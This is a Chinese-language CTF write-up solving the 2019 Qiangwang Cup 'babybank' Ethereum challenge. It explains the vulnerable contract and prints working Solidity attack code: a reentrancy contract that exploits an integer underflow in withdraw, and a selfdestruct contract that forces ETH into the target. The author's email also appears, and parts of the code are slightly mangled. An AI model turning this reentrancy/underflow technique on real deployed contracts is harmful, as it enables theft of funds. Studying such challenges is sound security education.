# 2019 强网杯 babybank

# 题目信息

Get the flag after payforflag event is emitted 0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c@ropsten

在执行完 payforflag 函数后获取 flag,并且给出了题目合约的地址。

同时给出部分合约源码

pragma solidity ^0.4.23;
contract babybank {
    mapping(address => uint) public balance;
    mapping(address => uint) public level;
    address owner;
    uint secret;
    
    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 
    
    constructor()public{
        owner = msg.sender;
    }
    
    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 10000000000);
        balance[msg.sender]=0;
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
    
    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
......

知道合约地址的情况下,我们可以通过合约反编译器对题目合约进行反编译来获取合约源码。

反编译出来的代码并不是看的很懂,所以观摩了大佬整理的源码。

pragma solidity ^0.4.23;
contract babybank {
    mapping(address => uint) public balance;
    mapping(address => uint) public level;
    address owner;
    uint secret;
    
    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 
    
    
    constructor()public{
        owner = msg.sender;
    }
    
    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 10000000000);
        balance[msg.sender]=0;
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
    
    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
    
    //challenge 1 
    function profit() public{
        require(level[msg.sender]==0);
        require(uint(msg.sender) & 0xffff==0xb1b1);
        balance[msg.sender]+=1;
        level[msg.sender]+=1;
    }
    
    //challenge 2
    function set_secret(uint new_secret) public onlyOwner{
        secret=new_secret;
    }
    function guess(uint guess_secret) public{
        require(guess_secret==secret);
        require(level[msg.sender]==1);
        balance[msg.sender]+=1;
        level[msg.sender]+=1;
    }
    
    //challenge 3
    function transfer(address to, uint amount) public{
        require(balance[msg.sender] >= amount);
        require(amount==2);
        require(level[msg.sender]==2);
        balance[msg.sender] = 0;
        balance[to] = amount;
    }
    
    //leak function
    function withdraw(uint amount) public{
        require(amount==2);
        require(balance[msg.sender] >= amount);
        msg.sender.call.value(amount*100000000000000)();
        balance[msg.sender] -= amount;
    }
}

# 源码分析

下面分析一下源码,根据题目要求,我们需要执行 payforflag 这个函数。

在这个函数中,存在一个条件 balance[msg.sender] >= 10000000000 ,再看看其他函数,能够帮我们增加 balance 的只有 profitguess 两个函数。 guess 函数中,需要 level[msg.sender]==1 才能够执行,而在 profit 函数中则是 level[msg.sender]==0 ,考虑到初始 balance 和 level 为 0,很明显我们需要先执行 profit 函数。

function profit() public{
        require(level[msg.sender]==0);
        require(uint(msg.sender) & 0xffff==0xb1b1);
        balance[msg.sender]+=1;
        level[msg.sender]+=1;
    }

除了 level 需要为 0, profit 函数还需要一个条件,即 uint(msg.sender) & 0xffff==0xb1b1 ,已知 & 运算是相同为 1,不同为 0,因此 msg.sender 的末尾应该为 0xb1b1,即账户地址末四位为 0xb1b1。

这里可以通过一个地址生成器来获取末四位为 0xb1b1 的账户(后面简称账户 A)

https://vanity-eth.tk/

获取到账户 A 后,利用私钥将账户 A 添加至 matemask 钱包,我们通过账户 A 来执行 profit 函数。我们先把合约编码编译并通过编译器的 at address 功能放置在 0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c 上(题目给出的合约地址)。

部署好合约后,matemask 中选择连接账户 A, 执行 profit 函数,执行完成后,再下方 balancelevel 两个按钮中输入账户 A 的地址,可以查看当前 balance 和 level 为 1。

在 level 为 1 后,我们就可以执行 guess 函数了,下面分析一下 guess 函数。

function guess(uint guess_secret) public{
        require(guess_secret==secret);
        require(level[msg.sender]==1);
        balance[msg.sender]+=1;
        level[msg.sender]+=1;
    }

除了 level[msg.sender]==1 以外,还需要让 guess_secret==secretguess_secret 是我们输入的值,那么 secret 又是什么呢?我们看看 set_secret 函数。

function set_secret(uint new_secret) public onlyOwner{
        secret=new_secret;
    }

可以看到 secret 是由 new_secret 决定的,但是我们注意到 set_secret 这个函数定义时有个 onlyOwner

modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }

可以看出,只有合约的主人,也就是部署合约的账户才能够调用 set_secret 函数,显然我们并没有办法重新赋值 secret,那么我们怎么才能知道 secret 到底是什么呢?

我们可以通过区块链浏览器查看一下部署合约的账户 0x409dd71C0E5500dA1e0489d4885411b1Da52d4c2 ,发现他最后一条交易信息执行的就是 set_secret 函数。

点开这条交易记录,在最下方的 Input Data 中,可以选择 decode data 来查看数据。

可以看到 new_secret 为 1123581321345589 ,知道 secret 后,将其输入至 guess 按钮旁的编辑框中,点击 guess 按钮执行函数。待执行完成后再次点击 balancelevel 两个按钮,可以查看当前 balance 和 level 为 2。

前面我们说到能够帮我们增加 balance 的只有 profitguess 两个函数。现在这两个函数都执行完了,我们的 balance 才为 2,显然不够 payforflag 函数所需要的 10000000000。再看看有没有还没有用到的函数,这时候,我们发现了 withdraw 函数。

function withdraw(uint amount) public{
        require(amount==2);
        require(balance[msg.sender] >= amount);
        msg.sender.call.value(amount*100000000000000)();
        balance[msg.sender] -= amount;
    }

仔细观察 withdraw 函数,我们发现了两个敏感点,第一个是 msg.sender.call.value(amount*100000000000000)(); ,我们知道 call 函数会造成重入攻击;另一个是 balance[msg.sender] -= amount; ,它会造成整型下溢出。

为了执行上面两句带有漏洞的函数,我们需要通过两个条件,一个是输入的 amount 必须为 2,另一个是我们进行交互的合约的 balance 必须大于等于 amount 也就是 2。因此我们部署一个能够进行重入攻击的合约,通过反复调用 withdraw 函数来让 balance 实现整型下溢出,变成一个极大的数字。

# 进行攻击

pragma solidity ^0.4.23;
// 声明合约源码函数
interface BabybankInterface {
    function withdraw(uint256 amount) external;
    function profit() external;
    function guess(uint256 number) external;
    function transfer(address to, uint256 amount) external;
    function payforflag(string md5ofteamtoken, string b64email) external;
}
// 攻击合约
contract attacker {
    BabybankInterface private target = BabybankInterface(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);
    uint private flag = 0;
    
    // 攻击函数
    function exploit() public{
        target.withdraw(2);
    }
    
    // 执行 payforflag 函数
    function sendflag() public payable{
        target.payforflag("Coldwinds","825592085@qq.com");
    }
    qq.com
    // 构成 fallback 函数,实现重入攻击
    function() external payable{
        require (flag == 0);
        flag = 1;
        target.withdraw(2);
    }
}

考虑到执行 payforflag 函数也需要通过该攻击合约进行,所以这里直接给出攻击合约的所有代码。

部署好攻击合约如下图所示:(后面简称合约 B,地址为 0x95eD631946C71bD98C2dB5b23B48297192b19068

这时候我们点击 exploit 进行攻击,编译器会提醒我们该操作很可能失败,事实上,失败是必然的。因为执行 withdraw 函数需要我们进行交互的这个地址在必须在题目合约中有 balance,而我们前面获得的 balance 其实是属于账户 A 的,部署的合约 B 在题目合约中没有 balance,自然不能攻击成功。

为了把账户 A 的 balance 转移给合约 B,我们需要执行 transfer 函数。

function transfer(address to, uint amount) public{
        require(balance[msg.sender] >= amount);
        require(amount==2);
        require(level[msg.sender]==2);
        balance[msg.sender] = 0;
        balance[to] = amount;
    }

transfer 函数有三个条件,一是交互账户的 balance 必须大于等于 amount,二是 amount 必须等于 2,三是交互账户的 level 必须等于 2,发现账户 A 是符合条件的(balance=amount=2 且 level=2)。因此我们在 transfer 按钮旁的编辑框中输入我们部署的合约 B 的地址,并输入要转移的 balance 数目 amount,即 0x95eD631946C71bD98C2dB5b23B48297192b19068,2

transfer 函数执行完成后,我们点击点击 balancelevel 两个按钮,可以查看当前 balance 为 0 而 level 为 2,将 balance 的地址换成合约 B 后,发现合约 B 的 balance 变成了 2,说明账户 A 的 balance 已经成功转移到了合约 B。

# 避坑!

既然合约 B 已经拥有了 balance,我们就可以点击攻击合约中的 exploit 进行攻击了,吗?

如果你执行了 exploit 函数,那么恭喜你,你可能要重头再来了。

我们再次阅读 withdraw 函数

function withdraw(uint amount) public{
        require(amount==2);
        require(balance[msg.sender] >= amount);
        msg.sender.call.value(amount*100000000000000)();
        balance[msg.sender] -= amount;
    }

可以看到其中的 call 函数,我们知道执行 call 函数是需要 gas 的,然而题目合约中是没有 ETH 的,也就无法调用 call 函数。如果这时调用了 withdraw ,不仅不能实现重入攻击,还会导致合约 B 的 balance 被清零!也就无法再次调用 withdraw 了。

为了能够实现重入攻击,我们就需要向题目合约中存入一定量的 ETH。可是看完整篇源码,发现题目合约是不支持正常转入 ETH 的。因此只能通过自毁函数 selfdestruct 来向题目合约强制转入 ETH。

关于 selfdestruct 函数,只要知道它可以用来销毁合约,并将该合约中的 ETH 全部强制转入目标地址。

所以我们部署一个合约 C,并向其中转入 0.2 个 ETH(够题目合约支付 gas 就行)。代码如下:

contract get_money {
    function kill() public payable{
        selfdestruct(address(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c));
    }
    constructor() public payable{

部署完合约后,按下 kill 按钮即可销毁合约 C,并将其中的 0.2 个 ETH 转入题目合约。

这时候,执行攻击合约 B 中的 exploit 函数,才能够正确进行重入攻击,发生整型下溢出,让攻击合约 B 拥有大量的 balance。

没转入 ETH 的时候点了 exploit ,导致 balance 被清零,做这道题已经建了好几个 0xb1b1 的账户,实在是不想重新操作一遍了,最后的图就不搞了。

# 成功!

在获取了大量 balance 后,就可以执行 payforflag 函数,点击攻击合约 B 的 sendflag 按钮,即可执行 payforflag 函数,成功达成题目要求!